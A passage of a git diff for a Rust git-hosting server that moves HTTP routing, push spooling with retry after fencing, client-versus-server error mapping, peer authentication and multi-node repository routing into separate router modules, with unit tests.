&headers, &owner, &name, service == "git-upload-pack").await { + Ok(r) => r, + Err(r) => return r, + }; + // NOT the raw Path `owner`/`name`: those still carry the `.git` suffix (every real URL has + // it), which would name a database that does not exist. + let (o, n) = (repo.owner.clone(), repo.name.clone()); + let v2 = headers + .get("git-protocol") + .and_then(|v| v.to_str().ok()) + .map(|v| v.contains("version=2")) + .unwrap_or(false); + let store = app.store.clone(); + let svc = service.clone(); + let run_protocol = move |repo: Repo| { + let (store, svc) = (store.clone(), svc.clone()); + async move { + tokio::task::spawn_blocking(move || -> crate::Result> { + let mut out = Vec::new(); + match svc.as_str() { + "git-upload-pack" => { + if !v2 { + return Err(client_err( + "this server requires git protocol v2 for git-upload-pack.\n\ + git 2.26+ uses protocol v2 by default; older clients can opt in \ + with:\n\n git -c protocol.version=2 \n", + )); + } + upload::advertise(&mut out)?; + } + "git-receive-pack" => { + crate::pktline::write_text(&mut out, "# service=git-receive-pack")?; + crate::pktline::write_flush(&mut out)?; + receive::advertise(&store, &repo, &mut out)?; + } + _ => return Err(client_err(format!("unknown service: {svc}"))), + } + Ok(out) + }) + .await + } + }; + let success = |out: Vec| { + ( + [ + ( + header::CONTENT_TYPE, + format!("application/x-{service}-advertisement"), + ), + (header::CACHE_CONTROL, "no-cache".into()), + ], + out, + ) + .into_response() + }; + let res = match run_protocol(repo).await { + Ok(r) => r, + Err(e) => return internal(crate::err(e.to_string())), + }; + match res { + Ok(out) => success(out), + // See App::on_fenced. If routing still says we own it, reopen and run the request again. + Err(e) if crate::pool::is_fenced(&e) => match reopen_after_fence(&app, &o, &n).await { + None => fenced_elsewhere(), + Some(repo) => match run_protocol(repo).await { + Ok(Ok(out)) => success(out), + // a second fence is a real error, not retried again + Ok(Err(e)) if e.downcast_ref::().is_some() => bad_request(&e), + Ok(Err(e)) => internal(e), + Err(e) => internal(crate::err(e.to_string())), + }, + }, + Err(e) if e.downcast_ref::().is_some() => bad_request(&e), + Err(e) => internal(e), + } +} + +async fn upload_pack( + State(app): State>, + Path((owner, name)): Path<(String, String)>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + body: Body, +) -> Response { + let repo = match open(&app, &trusted, &headers, &owner, &name, true).await { + Ok(r) => r, + Err(r) => return r, + }; + let body = match read_body(body).await { + Ok(b) => b, + Err(r) => return r, + }; + metrics::counter!("git_pack_requests_total", "op" => "upload").increment(1); + metrics::counter!("git_pack_bytes_in_total", "op" => "upload").increment(body.len() as u64); + let input = move || -> Input { Ok(Box::new(Cursor::new(body.clone()))) }; + respond("application/x-git-upload-pack-result", &app, repo, upload::serve, input, &headers).await +} + +async fn receive_pack( + State(app): State>, + Path((owner, name)): Path<(String, String)>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + body: Body, +) -> Response { + let repo = match open(&app, &trusted, &headers, &owner, &name, false).await { + Ok(r) => r, + Err(r) => return r, + }; + // A short wait absorbs a burst of small pushes; anything longer and git is better off + // failing fast and retrying than sitting on an open connection we cannot serve. + let _permit = match tokio::time::timeout(Duration::from_secs(2), receive_permits().acquire()).await { + Ok(Ok(p)) => p, + _ => return too_many_pushes(), + }; + // Unlinked at creation: a pod killed mid-push leaves nothing behind. Under the pack dir + // because that is the mount the indexer already writes to — the root is read-only. + let spool = match tempfile::tempfile_in(&repo.pack_dir) { + Ok(f) => f, + Err(e) => return internal(e.into()), + }; + metrics::counter!("git_pack_requests_total", "op" => "receive").increment(1); + let mut live = Some(live_body(body)); + let input = move || -> Input { + match live.take() { + Some(inner) => Ok(Box::new(Tee { inner, spool: spool.try_clone()? })), + None => { + // `try_clone` shares the offset the tee left at the end; the rewind is what + // makes this a replay. + let mut f = spool.try_clone()?; + f.seek(SeekFrom::Start(0))?; + Ok(Box::new(f)) + } + } + }; + respond("application/x-git-receive-pack-result", &app, repo, receive::serve, input, &headers).await +} + +/// Run the protocol; on a fence that routing says we may still own, run it once more against a +/// freshly opened handle. `input` is asked for a reader per attempt, so the retry can replay +/// what the first one consumed. +async fn respond( + ct: &'static str, + app: &App, + repo: Repo, + serve: Serve, + mut input: impl FnMut() -> Input, + headers: &HeaderMap, +) -> Response { + let (o, n) = (repo.owner.clone(), repo.name.clone()); + let flag = Arc::new(AtomicBool::new(false)); + let mut guard = Some(Disconnect(flag.clone())); + let store = app.store.clone(); + let first = attempt(store.clone(), repo, serve, input(), headers, flag.clone(), &mut guard).await; + let res = match first { + Attempt::Streaming(body) => return success(ct, body), + Attempt::Done(r) => r, + }; + match res { + Ok(out) => success(ct, Body::from(out)), + // See App::on_fenced. If routing still says we own it, reopen and run the request again. + Err(e) if crate::pool::is_fenced(&e) => match reopen_after_fence(app, &o, &n).await { + None => fenced_elsewhere(), + Some(repo) => match attempt(store, repo, serve, input(), headers, flag, &mut guard).await { + Attempt::Streaming(body) => success(ct, body), + Attempt::Done(Ok(out)) => success(ct, Body::from(out)), + // a second fence is a real error, not retried again + Attempt::Done(Err(e)) if is_client_fault(&e) => bad_request(&e), + Attempt::Done(Err(e)) => internal(e), + }, + }, + Err(e) if is_client_fault(&e) => bad_request(&e), + Err(e) => internal(e), + } +} + +/// Same distinction `info_refs` makes: an explicit `ClientError`, or an `io::Error` of the kinds +/// malformed/truncated client input produces — `Other` (pkt-line's own `io::Error::other`), +/// `UnexpectedEof`, and `InvalidData`/`InvalidInput` (gzip). Matched by KIND, not by type: the +/// push path also writes packs to local disk, and the OS reports a full or read-only disk as an +/// `io::Error` too (`StorageFull`, `ReadOnlyFilesystem`, `PermissionDenied`, `Uncategorized`…), +/// which used to come back as a 400 with the OS message in it. +fn is_client_fault(e: &crate::Error) -> bool { + use std::io::ErrorKind::*; + e.downcast_ref::().is_some() + || e.downcast_ref::() + .is_some_and(|e| matches!(e.kind(), Other | UnexpectedEof | InvalidData | InvalidInput)) +} + +fn success(ct: &'static str, out: Body) -> Response { + ( + [ + (header::CONTENT_TYPE, ct), + (header::CACHE_CONTROL, "no-cache"), + ], + out, + ) + .into_response() +} + +pub(crate) fn git_routes() -> Router> { + Router::new() + .route("/{owner}/{name}/info/refs", get(info_refs)) + .route("/{owner}/{name}/git-upload-pack", post(upload_pack)) + .route("/{owner}/{name}/git-receive-pack", post(receive_pack)) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::io::{Error, ErrorKind}; + + /// A full disk under `create_dir_all` is ours to answer for (500), a bad pkt-line is theirs. + #[test] + fn os_io_errors_are_server_faults_and_protocol_ones_are_the_clients() { + let fault = |e: Error| is_client_fault(&(Box::new(e) as crate::Error)); + assert!(fault(Error::other("bad pkt len"))); + assert!(fault(Error::new(ErrorKind::UnexpectedEof, "truncated"))); + assert!(fault(Error::new(ErrorKind::InvalidInput, "corrupt deflate stream"))); + assert!(!fault(Error::new(ErrorKind::StorageFull, "No space left on device"))); + assert!(!fault(Error::new(ErrorKind::ReadOnlyFilesystem, "Read-only file system"))); + assert!(!fault(Error::new(ErrorKind::PermissionDenied, "Permission denied"))); + assert!(!fault(Error::from_raw_os_error(libc_eio()))); + assert!(is_client_fault(&client_err("no such ref"))); + assert!(!is_client_fault(&crate::err("store: timeout"))); + } + + /// EIO has no `ErrorKind` of its own, so it lands in `Uncategorized` — the kind every OS + /// error the table does not know gets, and the one a whitelist must never answer 400 to. + fn libc_eio() -> i32 { + 5 + } + + /// Below `SPILL` the reply is still ours to retry or fail; at `SPILL` it is on the wire. + #[test] + fn output_is_held_back_until_spill() { + let (tx, mut rx) = tokio::sync::mpsc::channel(4); + let mut out = Streamed { buf: Vec::new(), tx, spilled: false }; + out.write_all(&[1; SPILL - 1]).unwrap(); + assert!(!out.spilled && rx.try_recv().is_err()); + out.write_all(&[2]).unwrap(); + assert!(out.spilled && out.buf.is_empty()); + assert_eq!(rx.try_recv().unwrap().unwrap().len(), SPILL); + // With the body gone, the next chunk is a write error — how the pack build stops. + drop(rx); + out.write_all(&[3; SPILL]).unwrap_err(); + } + + /// The spool is the request as the first attempt saw it, from the start. + #[test] + fn a_tee_replays_what_it_read() { + let dir = tempfile::tempdir().unwrap(); + let spool = tempfile::tempfile_in(dir.path()).unwrap(); + let mut tee = Tee { inner: Box::new(Cursor::new(b"abcdef".to_vec())), spool: spool.try_clone().unwrap() }; + let mut first = Vec::new(); + tee.read_to_end(&mut first).unwrap(); + let mut again = spool.try_clone().unwrap(); + again.seek(SeekFrom::Start(0)).unwrap(); + let mut replay = Vec::new(); + again.read_to_end(&mut replay).unwrap(); + assert_eq!(first, replay); + assert_eq!(replay, b"abcdef"); + } +} diff --git a/bins/server/src/router/limits.rs b/bins/server/src/router/limits.rs new file mode 100644 index 00000000..64ac11e6 --- /dev/null +++ b/bins/server/src/router/limits.rs @@ -0,0 +1,42 @@ +use axum::{http::StatusCode, response::{IntoResponse, Response}}; + +pub use rustic_git_core::httpx::{max_body, Trusted}; + +/// Cap on the decompressed size of a gzipped request body — bounds the zlib-bomb amplification +/// on top of the wire-size limit. 8x the body cap. +pub(crate) fn max_decompressed() -> u64 { + (max_body() as u64) * 8 +} + +pub(crate) fn internal(e: crate::Error) -> Response { + tracing::error!(error = %e, "internal error"); + (StatusCode::INTERNAL_SERVER_ERROR, "internal error").into_response() +} + +/// A request the client sent us that we will never satisfy, as opposed to something broken on our +/// end. Distinguished from a bare `crate::err` so `info_refs` can answer 400, not 500, without +/// masking a genuine internal failure the same way. +#[derive(Debug)] +pub(crate) struct ClientError(pub(crate) String); +impl std::fmt::Display for ClientError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "{}", self.0) + } +} +impl std::error::Error for ClientError {} + +pub(crate) fn client_err(msg: impl Into) -> crate::Error { + ClientError(msg.into()).into() +} + +pub(crate) fn bad_request(e: &crate::Error) -> Response { + (StatusCode::BAD_REQUEST, e.to_string()).into_response() +} + +pub(crate) fn fenced_elsewhere() -> Response { + ( + StatusCode::SERVICE_UNAVAILABLE, + "repository is owned by another node; retry", + ) + .into_response() +} diff --git a/bins/server/src/router/mod.rs b/bins/server/src/router/mod.rs new file mode 100644 index 00000000..cc91714b --- /dev/null +++ b/bins/server/src/router/mod.rs @@ -0,0 +1,67 @@ +pub(crate) mod git; +pub(crate) mod limits; +pub(crate) mod route; + +pub(crate) use git::{git_routes, open}; +pub(crate) use limits::internal; +pub use limits::{max_body, Trusted}; +use route::{own_claim, own_draining, own_release, own_renew, route_peer, route_public, trust_nobody, trust_peer}; + +use crate::vol_agent::JobsState; +use crate::App; +use axum::{routing::get, routing::post, Router}; +use std::sync::Arc; + +/// Client-facing. Layers run outermost-first, and the LAST `.layer()` call is outermost — so +/// `trust_nobody` (added last) runs first, then `route`, then the handler. +/// +/// `jobs` is the vol-agent token check's region lookup — the SAME `Arc` `peer_router` gets, so a +/// forwarded request is checked against the same regions it would have been checked against +/// had it landed on the owner directly. `None` store means "no Cosmos on this node", handled +/// inside the handlers (break-glass only), not by leaving the routes unmounted. +pub fn router(app: Arc, jobs: Arc) -> Router { + git_routes() + .merge(crate::registry::routes::v2_routes()) + // The volume-registry agent surface: per-region-token gated inside the handlers, not in a + // layer — routing must run before any auth check, per `route_inner`. Its handlers reach + // `jobs` through `Extension`, wired in by the `.layer()` beneath. + .merge(crate::vol_agent::vol_agent_routes()) + .route("/healthz", get(route::healthz)) + .layer(axum::middleware::from_fn_with_state(app.clone(), route_public)) + .layer(axum::middleware::from_fn(trust_nobody)) + .layer(axum::middleware::from_fn_with_state("public", rustic_git_core::metrics::http_metrics)) + .layer(axum::Extension(jobs)) + .with_state(app) +} + +/// Peer-facing. `trust_peer` outermost (secret check first, on everything), then `route`, then +/// handlers. `/healthz` and the `/own/*` protocol are inside the secret check on purpose: a claim +/// without the secret must fail loudly (403), not silently succeed and hide a misconfiguration. +/// The `route` middleware ignores non-git paths, so `/own/*` passes straight through it. +pub fn peer_router(app: Arc, jobs: Arc) -> Router { + git_routes() + .merge(crate::browse_api::browse_routes()) + .merge(crate::registry::routes::v2_routes()) + // The vol-agent RECORD routes must exist here too: a public request landing on a + // non-owning node is forwarded to the owner's PEER listener, and a route that only + // lives on the public router 404s every forwarded call — which is exactly how the + // first multi-node deployment failed (single-node e2e never forwards, so it never + // saw it). The peer secret is NOT a substitute for the agent token here: it proves a + // node forwarded the request, not that whoever sent it to that node was an agent — a + // marker that let the handlers skip the token check on this listener meant every + // forwarded write was unauthenticated. The handlers run the same check on the + // forwarded headers, against the same `jobs`. + .merge(crate::vol_agent::vol_agent_routes()) + .layer(axum::Extension(jobs)) + .route("/healthz", get(route::healthz)) + .route("/own/claim", post(own_claim)) + .route("/own/renew", post(own_renew)) + .route("/own/release", post(own_release)) + .route("/own/draining", post(own_draining)) + // Scraped without the secret (see `trust_peer`); never mounted on the public router. + .merge(rustic_git_core::metrics::routes()) + .layer(axum::middleware::from_fn_with_state(app.clone(), route_peer)) + .layer(axum::middleware::from_fn_with_state(app.clone(), trust_peer)) + .layer(axum::middleware::from_fn_with_state("peer", rustic_git_core::metrics::http_metrics)) + .with_state(app) +} diff --git a/src/http.rs b/bins/server/src/router/route.rs similarity index 56% rename from src/http.rs rename to bins/server/src/router/route.rs index b7182769..6673fb47 100644 --- a/src/http.rs +++ b/bins/server/src/router/route.rs @@ -1,42 +1,26 @@ -mod browse_api; - -use crate::protocol::{receive, upload}; -use crate::store::Repo; +use super::limits::internal; use crate::App; use axum::{ - body::Bytes, - extract::{Path, Query, State}, - http::{header, HeaderMap, StatusCode}, + extract::State, + http::StatusCode, response::{IntoResponse, Response}, - routing::{get, post}, - Router, }; -use base64::Engine; -use std::collections::HashMap; -use std::io::{Cursor, Read}; +use rustic_git_core::httpx::Trusted; use std::sync::Arc; -/// Cap on a single request body (compressed bytes on the wire). Axum enforces this in the -/// extractor, BEFORE the handler runs, so an unauthenticated client cannot make the server -/// buffer more than this. Override with RUSTIC_GIT_MAX_BODY (bytes). -fn max_body() -> usize { - std::env::var("RUSTIC_GIT_MAX_BODY") - .ok() - .and_then(|v| v.parse().ok()) - .unwrap_or(2 * 1024 * 1024 * 1024) // 2 GiB -} - -/// Cap on the decompressed size of a gzipped request body — bounds the zlib-bomb amplification -/// on top of the wire-size limit. 8x the body cap. -fn max_decompressed() -> u64 { - (max_body() as u64) * 8 -} - -/// Liveness/readiness. 503 when the object store has stopped answering. -async fn healthz(State(app): State>) -> Response { +/// Liveness/readiness. 503 when the object store has stopped answering, or when the leader has +/// not answered this node inside one `LEASE_TTL`: readiness gates the public Service, and a node +/// that cannot reach the leader cannot claim, so it would take traffic and 5xx it. Both are cached +/// bits written by their own beats — the probe costs nothing. Peer DNS is NOT gated on this +/// (`publishNotReadyAddresses`), so forwarding between nodes keeps working while a leader rolls. +/// Same handler on both listeners: nothing in-repo probes the peer one. +pub(crate) async fn healthz(State(app): State>) -> Response { if !app.store.healthy() { return (StatusCode::SERVICE_UNAVAILABLE, "object store unreachable").into_response(); } + if !app.leader_reachable() { + return (StatusCode::SERVICE_UNAVAILABLE, "leader unreachable").into_response(); + } ( StatusCode::OK, format!("ok ({} warm)", app.store.pool.warm_count()), @@ -60,7 +44,7 @@ async fn healthz(State(app): State>) -> Response { /// caller's idea of who the leader is has gone stale. It must not proxy the message on either: /// leadership is derived from a name, so a caller that reached the wrong node is misconfigured, /// and quietly relaying would hide that. -async fn own_claim(State(app): State>, body: String) -> Response { +pub(crate) async fn own_claim(State(app): State>, body: String) -> Response { // Leadership first: a follower must answer 421 whatever the body looks like, or a malformed // request to the wrong node reports the wrong problem. if let Some(r) = leader_only(&app) { @@ -88,7 +72,7 @@ async fn own_claim(State(app): State>, body: String) -> Response { } } -async fn own_renew(State(app): State>, body: String) -> Response { +pub(crate) async fn own_renew(State(app): State>, body: String) -> Response { if let Some(r) = leader_only(&app) { return r; } @@ -106,7 +90,7 @@ async fn own_renew(State(app): State>, body: String) -> Response { } } -async fn own_release(State(app): State>, body: String) -> Response { +pub(crate) async fn own_release(State(app): State>, body: String) -> Response { if let Some(r) = leader_only(&app) { return r; } @@ -124,7 +108,7 @@ async fn own_release(State(app): State>, body: String) -> Response { /// A node reports only about ITSELF; nothing here lets one node say another is unavailable. That /// distinction is the whole reason this is a message rather than a health check: a node knows it /// received SIGTERM, and no other node can know that without guessing. -async fn own_draining(State(app): State>, body: String) -> Response { +pub(crate) async fn own_draining(State(app): State>, body: String) -> Response { if let Some(r) = leader_only(&app) { return r; } @@ -160,20 +144,33 @@ fn leader_only(app: &App) -> Option { ) } -/// Identity established by a *peer*. `None` on the public listener, always. -#[derive(Clone)] -pub struct Trusted(pub Option); - /// The final path segment of a git route (`/{owner}/{name}/{tail}`). -const GIT_ROUTE_TAILS: [&str; 3] = ["info", "git-upload-pack", "git-receive-pack"]; +pub(crate) const GIT_ROUTE_TAILS: [&str; 3] = ["info", "git-upload-pack", "git-receive-pack"]; /// The third segment of a browse route (`/api/{owner}/{name}/{tail}`). Every entry is repo-scoped -/// and peer-only. `visibility` and `create` are the WRITES among them (both POST), which is why +/// and peer-only. `visibility`, `create` and `description` are the WRITES among them (all POST), which is why /// they belong here rather than in a separate list — they must be routed to the owner exactly as /// the reads are, so the node that serves the repo is the node that writes it. -const BROWSE_TAILS: [&str; 14] = [ +/// +/// A route missing from this list is UNREACHABLE — the middleware refuses it +/// before the router ever sees it — so adding a browse route means adding its +/// tail here. `every_browse_route_is_routable` holds the two together. +/// +/// `imagetags`, `imagetagdelete`, `imagedelete`, `imagevisibility`, `volumehistory` and +/// `volumedelete` are +/// repo-scoped like the rest (though the first four route by the IMAGE key and the last by the +/// VOLUME key — see `repo_of`). `images` and `volumes` are the two owner-scoped exceptions — see +/// `api_route`. +pub(crate) const BROWSE_TAILS: [&str; 26] = [ "refs", "tree", "blob", "log", "commit", "files", "lastmod", "compare", "signature", - "visibility", "create", "delete", "protect", "merge", + "visibility", "create", "description", "delete", "protect", "merge", "patch", "images", "imagetags", + "imagetagdelete", "imagedelete", "imagevisibility", + // `volumes` is owner-scoped like `images` (two segments, no name); `volumehistory` names a + // VOLUME and routes by the volume key, below. + "volumes", "volumehistory", "volumedelete", "snapshotdelete", + // Every pull-request route — list, get, comment, merge, close, check — has `pulls` as its + // third segment, so this one entry covers all of them. + "pulls", ]; /// Whether the path is under the browse prefix. `api` is a RESERVED owner name @@ -188,14 +185,14 @@ const BROWSE_TAILS: [&str; 14] = [ /// `/{owner}/{name}/git-upload-pack` as owner=`api`, reaching a git handler having never been /// routed. Such a repo is still reachable over SSH, and `admin fork` moves it to a non-reserved /// owner. Deliberate: an unreachable legacy repo beats a second writer. -fn api_prefixed(path: &str) -> bool { +pub(crate) fn api_prefixed(path: &str) -> bool { path.trim_start_matches('/') == "api" || path.trim_start_matches('/').starts_with("api/") } /// Whether this path is a git route (`/{owner}/{name}/{info|git-upload-pack|git-receive-pack}`). /// Never true under `/api/`, per `api_prefixed`. -fn git_shape(path: &str) -> bool { +pub(crate) fn git_shape(path: &str) -> bool { if api_prefixed(path) { return false; } @@ -206,21 +203,61 @@ fn git_shape(path: &str) -> bool { GIT_ROUTE_TAILS.contains(&tail) } -/// `Some((owner, name))` when the path is a browse route. -fn api_route(path: &str) -> Option<(&str, &str)> { +/// `Some((owner, name, tail))` when the path is a browse route. `name` and `tail` are both `""` for +/// the two owner-scoped routes, `images` and `volumes` (`/api/{owner}/images`, two segments, no +/// repo name) — every other tail is repo-scoped (`/api/{owner}/{name}/{tail}`, three segments), and +/// `tail` is that third segment, which `repo_of` needs to tell the routes that key by an IMAGE +/// (`imagetags`) or a VOLUME (`volumehistory`) apart from those that key by the repo. +pub(crate) fn api_route(path: &str) -> Option<(&str, &str, &str)> { let mut it = path.trim_start_matches('/').strip_prefix("api/")?.split('/'); - let (owner, name, tail) = (it.next()?, it.next()?, it.next()?); - BROWSE_TAILS.contains(&tail).then_some((owner, name)) + let owner = it.next()?; + let second = it.next()?; + match it.next() { + Some(tail) => BROWSE_TAILS.contains(&tail).then_some((owner, second, tail)), + None => BROWSE_TAILS.contains(&second).then_some((owner, "", "")), + } } -fn repo_of(path: &str) -> Option { +pub(crate) fn repo_of(path: &str) -> Option { let path = path.trim_start_matches('/'); + if crate::registry::is_v2_path(path) { + let (owner, name) = crate::registry::image_route(path)?; + return Some(crate::registry::routing_key(owner, name)); + } + // `/vol-agent/{owner}/{name}/{tail}` names a VOLUME, a third keyspace beside repos and + // images: `repo/vol/{owner}/{name}`, one keyspace over from `repo/img/{owner}/{name}`. Same + // shape as the `/v2/` branch above — a separate routing key, checked before the git branches + // so a volume path is never mistaken for a repo of the same owner/name. + if crate::vol_agent::vol_agent_prefixed(path) { + let (owner, name) = crate::vol_agent::vol_agent_route(path)?; + return Some(rustic_git_workspaces::registry::routing_key(owner, name)); + } // `/api/{owner}/{name}/...` names a repo exactly as the git routes do; skipping the `api` // segment makes both shapes yield the same repo, so both route to the same node. An `/api/` // path resolves through `api_route` and nothing else — see `api_prefixed`. if api_prefixed(path) { - let (owner, name) = api_route(path)?; - let (owner, name) = crate::protocol::parse_repo_path(&format!("{owner}/{name}"))?; + let (owner, name, tail) = api_route(path)?; + // `images` has no repo to route by: it only reads the shared object store, so there is + // nothing to forward to a particular node — `None` here means "served locally" in + // `route_inner`, exactly like `/healthz`. + if name.is_empty() { + return None; + } + // `imagetags`, `imagetagdelete` and `imagedelete` all name an IMAGE, not a repo: the image + // database is keyed `img/{owner}/{name}`, a different key (and potentially a different + // node) than the git repo of the same name. Route by the image key so this reaches the + // node that actually owns that database. + if matches!(tail, "imagetags" | "imagetagdelete" | "imagedelete" | "imagevisibility") { + return Some(crate::registry::routing_key(owner, name)); + } + // `volumehistory` names a VOLUME — `vol/{owner}/{name}`, the third keyspace — for the same + // reason `imagetags` names an image: the records live in that database and only the node + // holding it may open it. `/api/` and `/vol-agent/` therefore route to the same node for + // the same volume, which is what lets one of them read what the other wrote. + if matches!(tail, "volumehistory" | "volumedelete" | "snapshotdelete") { + return Some(rustic_git_workspaces::registry::routing_key(owner, name)); + } + let (owner, name) = crate::protocol::parse_repo_pair(owner, name)?; return Some(format!("{owner}/{name}")); } let mut it = path.split('/'); @@ -228,7 +265,7 @@ fn repo_of(path: &str) -> Option { if !GIT_ROUTE_TAILS.contains(&rest) { return None; } - let (owner, name) = crate::protocol::parse_repo_path(&format!("{owner}/{name}"))?; + let (owner, name) = crate::protocol::parse_repo_pair(owner, name)?; Some(format!("{owner}/{name}")) } @@ -236,10 +273,14 @@ fn repo_of(path: &str) -> Option { /// regardless of whether the segments parse. `route` uses this to tell "not ours to route" from /// "ours, but malformed": the latter must be refused, never passed to a handler that would decode /// it and open a repo this node does not own. -fn is_git_route(path: &str) -> bool { +pub(crate) fn is_git_route(path: &str) -> bool { // `/api/{owner}/{name}/...` is repo-scoped exactly as the git routes are: it must reach the - // owner, because only the owner holds the database and the packs. - git_shape(path) || api_route(path).is_some() + // owner, because only the owner holds the database and the packs. `images` is the exception — + // an empty `name` means there is no repo to reach, so it is not a git route (`repo_of` already + // answers `None` for it, and that `None` must mean "serve locally", not "malformed"). + git_shape(path) + || matches!(api_route(path), Some((_, name, _)) if !name.is_empty()) + || crate::registry::image_route(path).is_some() } /// Route before handling. Runs ahead of authentication: the damage is done by *opening* a repo's @@ -247,7 +288,7 @@ fn is_git_route(path: &str) -> bool { /// both listeners — a node receiving a forwarded request consults its own copy of the map (and the /// leader, if that copy has nothing), bounded by the hop count. /// Public listener: `/api/...` is not repo-scoped here, so it is never forwarded. -async fn route_public( +pub(crate) async fn route_public( State(app): State>, req: axum::extract::Request, next: axum::middleware::Next, @@ -256,7 +297,7 @@ async fn route_public( } /// Peer listener: the browse API lives here, so `/api/...` routes like any other repo path. -async fn route_peer( +pub(crate) async fn route_peer( State(app): State>, req: axum::extract::Request, next: axum::middleware::Next, @@ -286,6 +327,23 @@ async fn route_inner( if api_prefixed(&path) && api_route(&path).is_none() { return (StatusCode::NOT_FOUND, "not found").into_response(); } + // A `/v2/` path that names no image is either one of the three local endpoints — answered + // here, on any node — or nothing at all. It must not fall through to `repo_of`'s git branch, + // where `/v2/alice/info/refs` would otherwise be served as owner=`v2` having never routed. + if crate::registry::is_v2_path(&path) && crate::registry::image_route(&path).is_none() { + let tail = path.trim_start_matches('/').trim_start_matches("v2").trim_start_matches('/'); + if crate::registry::LOCAL_V2.contains(&tail) { + return next.run(req).await; + } + return crate::registry::oci_err(StatusCode::NOT_FOUND, "NAME_UNKNOWN", "no such image"); + } + // A `/vol-agent/` path that names no volume is neither routable nor a registered route: + // refuse here, exactly as the `/v2/` branch above does for its own prefix. Falling through + // would let a path with the right SHAPE but an invalid owner/name (`repo_of` -> `None`) reach + // the `None => next.run(req).await` arm below and be served locally, having never routed. + if crate::vol_agent::vol_agent_prefixed(&path) && crate::vol_agent::vol_agent_route(&path).is_none() { + return (StatusCode::NOT_FOUND, "not found").into_response(); + } let repo = match repo_of(&path) { Some(r) => r, // A git route whose repo does not parse — a percent-encoded or otherwise invalid name. @@ -423,7 +481,7 @@ async fn route_inner( match app.forwarder.forward(&addr, &owner, hops, rebuild()).await { Ok(res) => return res, Err(again) if !crate::proxy::is_connect_error(&again) => { - eprintln!("forwarding {repo} to {}: {again}", peer.name); // ponytail: eprintln + tracing::error!(repo = %repo, peer = %peer.name, error = %again, "forwarding"); return (StatusCode::BAD_GATEWAY, "peer error").into_response(); } // Two connect failures, and the leader says it is still theirs: @@ -457,15 +515,15 @@ async fn route_inner( } } Err(e) => { - eprintln!("force-claiming {repo}: {e}"); // ponytail: eprintln + tracing::warn!(repo = %repo, error = %e, "force-claiming"); } } } // The leader is unreachable, or refused: answer as before. - Err(e) => eprintln!("claim after failed forward to {repo}: {e}"), // ponytail: eprintln + Err(e) => tracing::warn!(repo = %repo, error = %e, "claim after failed forward"), } } - eprintln!("forwarding {repo} to {}: {e}", peer.name); // ponytail: eprintln + tracing::error!(repo = %repo, peer = %peer.name, error = %e, "forwarding"); (StatusCode::BAD_GATEWAY, "peer error").into_response() } } @@ -474,7 +532,7 @@ async fn route_inner( } /// Peer listener admission: the secret, then the identity the caller established. -async fn trust_peer( +pub(crate) async fn trust_peer( State(app): State>, mut req: axum::extract::Request, next: axum::middleware::Next, @@ -484,9 +542,13 @@ async fn trust_peer( .get(crate::proxy::PEER_HEADER) .and_then(|v| v.to_str().ok()) .unwrap_or(""); - // ponytail: plain compare; the secret is 64 hex chars and the port needs network reach. Use - // subtle::ConstantTimeEq if this port is ever exposed more widely. - if presented.is_empty() || presented != app.forwarder.secret { + // Prometheus cannot present the secret. `/metrics` reads a process-local snapshot and + // touches no database, so the routing invariant is not in play — and `route_inner` below + // serves it locally in any case (`repo_of` is `None` for it). + if req.uri().path() == "/metrics" { + return next.run(req).await; + } + if !crate::proxy::secret_eq(presented, &app.forwarder.secret) { return (StatusCode::FORBIDDEN, "peer secret").into_response(); } let owner = req @@ -501,7 +563,7 @@ async fn trust_peer( /// Public listener: strip every routing header a client could set. Hops especially — a client /// that could set it to the maximum would force this node to open a repo it does not own. -async fn trust_nobody( +pub(crate) async fn trust_nobody( mut req: axum::extract::Request, next: axum::middleware::Next, ) -> Response { @@ -516,423 +578,93 @@ async fn trust_nobody( next.run(req).await } -fn git_routes() -> Router> { - Router::new() - .route("/{owner}/{name}/info/refs", get(info_refs)) - .route("/{owner}/{name}/git-upload-pack", post(upload_pack)) - .route("/{owner}/{name}/git-receive-pack", post(receive_pack)) - .layer(axum::extract::DefaultBodyLimit::max(max_body())) -} - -/// Client-facing. Layers run outermost-first, and the LAST `.layer()` call is outermost — so -/// `trust_nobody` (added last) runs first, then `route`, then the handler. -pub fn router(app: Arc) -> Router { - git_routes() - .route("/healthz", get(healthz)) - .layer(axum::middleware::from_fn_with_state(app.clone(), route_public)) - .layer(axum::middleware::from_fn(trust_nobody)) - .with_state(app) -} - -/// Peer-facing. `trust_peer` outermost (secret check first, on everything), then `route`, then -/// handlers. `/healthz` and the `/own/*` protocol are inside the secret check on purpose: a claim -/// without the secret must fail loudly (403), not silently succeed and hide a misconfiguration. -/// The `route` middleware ignores non-git paths, so `/own/*` passes straight through it. -pub fn peer_router(app: Arc) -> Router { - git_routes() - .merge(browse_api::browse_routes()) - .route("/healthz", get(healthz)) - .route("/own/claim", post(own_claim)) - .route("/own/renew", post(own_renew)) - .route("/own/release", post(own_release)) - .route("/own/draining", post(own_draining)) - .layer(axum::middleware::from_fn_with_state(app.clone(), route_peer)) - .layer(axum::middleware::from_fn_with_state(app.clone(), trust_peer)) - .with_state(app) -} - -fn unauthorized() -> Response { - ( - StatusCode::UNAUTHORIZED, - [(header::WWW_AUTHENTICATE, "Basic realm=\"rustic-git\"")], - "auth required", - ) - .into_response() -} - -fn internal(e: crate::Error) -> Response { - eprintln!("internal error: {e}"); // ponytail: eprintln; swap for a logger when one exists - (StatusCode::INTERNAL_SERVER_ERROR, "internal error").into_response() -} - -/// A request the client sent us that we will never satisfy, as opposed to something broken on our -/// end. Distinguished from a bare `crate::err` so `info_refs` can answer 400, not 500, without -/// masking a genuine internal failure the same way. -#[derive(Debug)] -struct ClientError(String); -impl std::fmt::Display for ClientError { - fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - write!(f, "{}", self.0) - } -} -impl std::error::Error for ClientError {} - -fn client_err(msg: impl Into) -> crate::Error { - ClientError(msg.into()).into() -} - -fn bad_request(e: &crate::Error) -> Response { - (StatusCode::BAD_REQUEST, e.to_string()).into_response() -} - -fn fenced_elsewhere() -> Response { - ( - StatusCode::SERVICE_UNAVAILABLE, - "repository is owned by another node; retry", - ) - .into_response() -} - -async fn open( - app: &App, - trusted: &Trusted, - headers: &HeaderMap, - owner: &str, - name: &str, - read_only: bool, -) -> Result { - // A peer already authenticated this client; its word is trusted because `trust_peer` has - // checked the shared 